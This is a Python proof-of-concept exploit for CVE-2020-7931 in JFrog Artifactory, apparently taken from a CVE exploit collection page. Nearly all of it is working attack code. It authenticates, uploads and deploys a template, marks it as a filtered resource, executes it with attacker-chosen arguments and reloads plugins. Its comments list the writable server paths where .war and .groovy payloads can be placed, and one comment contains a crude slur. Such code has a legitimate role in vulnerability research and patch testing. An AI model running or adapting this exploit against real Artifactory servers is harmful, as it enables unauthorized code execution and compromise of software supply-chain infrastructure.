4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / artifactory_CVE-2020-7931.py PY
#!/usr/bin/env python3
# Credits: https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md
# Install docker artifactory: https://www.jfrog.com/confluence/display/JFROG/Installing+Artifactory#InstallingArtifactory-DockerInstallation
# Default artifactory web application root path (where you can write):  /opt/jfrog/artifactory/tomcat/webapps/artifactory/
# Default tomcat webapps path (for .war files):                         /opt/jfrog/artifactory/tomcat/webapps/
# Default upload path:                                                  /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/
# Symlinked:                                                            /opt/jfrog/artifactory/data/tmp/artifactory-uploads/
# Default plugins path (for .groovy files):                             /var/opt/jfrog/artifactory/etc/plugins/
# Symlinked:                                                            /opt/jfrog/artifactory/etc/plugins/
import argparse
import requests
import json
import urllib3


repo_name = 'example-repo-local'


# SUPPRESS WARNINGS ############################################################
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


# FUNCTIONS ####################################################################
def get_cookie(host, user, password):
    data = json.dumps({'user':user, 'password':password, 'type':'login'})
    headers = {'Content-Type':'application/json'}
    r = requests.post(host + '/artifactory/ui/auth/login',
                      headers=headers, data=data, verify=False)
    print(r.text)

    for cookie in r.cookies:
        print(cookie.value)


def upload(host, file_to_upload, cookie):
    cookies = {'SESSION':cookie}
    headers = {'X-Requested-With':'artUI'}
    files = {'upload_file': open(file_to_upload,'rb')}
    r = requests.post(host + '/artifactory/ui/artifact/upload',
                      cookies=cookies, headers=headers, files=files, verify=False)
    print(r.text)


def deploy_template(host, template, cookie):
    cookies = {'SESSION':cookie}
    headers = {'X-Requested-With':'artUI', 'Content-Type':'application/json'}
    data = '{"action":"deploy","unitInfo":{"artifactType":"base","path":"/' + template + '","mavenArtifact":false,"valid":true,"origArtifactType":"base","debianArtifact":false,"vagrantArtifact":false,"composerArtifact":false,"cranArtifact":false,"bundle":false,"type":"xml"},"fileName":"' + template + '","repoKey":"' + repo_name + '"}'
    r = requests.post(host + '/artifactory/ui/artifact/deploy',
                      cookies=cookies, headers=headers, data=data, verify=False)
    print(r.text)


def set_filtered(host, template, cookie):
    cookies = {'SESSION':cookie}
    headers = {'X-Requested-With':'artUI', 'Content-Type':'application/json'}
    data = '{"repoKey":"' + repo_name + '","path":"' + template + '"}'
    r = requests.post(host + '/artifactory/ui/filteredResource?setFiltered=true',
                      cookies=cookies, headers=headers, data=data, verify=False)
    print(r.text)


def drop_template(host, template, cookie):
    upload(host, template, cookie)
    deploy_template(host, template, cookie)
    set_filtered(host, template, cookie)


def exec_template(host, template, arguments, cookie):
    cookies = {'SESSION':cookie}
    nb_arguments = 0
    for argument in arguments:
        if nb_arguments == 0:
            http_arguments = '?{}={}'.format(nb_arguments, argument)
        else:
            http_arguments = http_arguments + '&{}={}'.format(nb_arguments, argument)
        nb_arguments += 1

    r = requests.get(host + '/artifactory/' + repo_name + '/' + template + http_arguments,
                     cookies=cookies, verify=False)
    print(r.text)


def reload_plugins(host, cookie):
    cookies = {'SESSION':cookie}
    headers = {'X-Requested-With':'artUI'}
    print(host + '/artifactory/api/plugins/reload')
    r = requests.post(host + '/artifactory/api/plugins/reload',
                      cookies=cookies, headers=headers, verify=False)
    print(r.text)


# MAIN #########################################################################
parser = argparse.ArgumentParser(description = '')
parser.add_argument('-H', '--host', type=str, required=True)
parser.add_argument('-u', '--user', type=str)
parser.add_argument('-p', '--password', type=str)
parser.add_argument('-c', '--cookie', type=str)
parser.add_argument('-U', '--upload', type=str)
parser.add_argument('-g', '--get_cookie', action='store_true')
parser.add_argument('-d', '--drop_template', type=str)
parser.add_argument('-e', '--exec_template', type=str)
parser.add_argument('-r', '--reload_plugins', action='store_true')
parser.add_argument('-R', '--repository_name', type=str, help='Default: example-repo-local')

args, remaining_args = parser.parse_known_args()
host = args.host.rstrip('/')    # Java is retarded

if args.repository_name:
    repo_name = args.repository_name

if args.upload:
    upload(host, args.upload, args.cookie)

if args.get_cookie:
    get_cookie(host, args.user, args.password)

if args.drop_template:
    drop_template(host, args.drop_template, args.cookie)

if args.exec_template:
    exec_template(host, args.exec_template, remaining_args, args.cookie)

if args.reload_plugins:
    reload_plugins(host, args.cookie)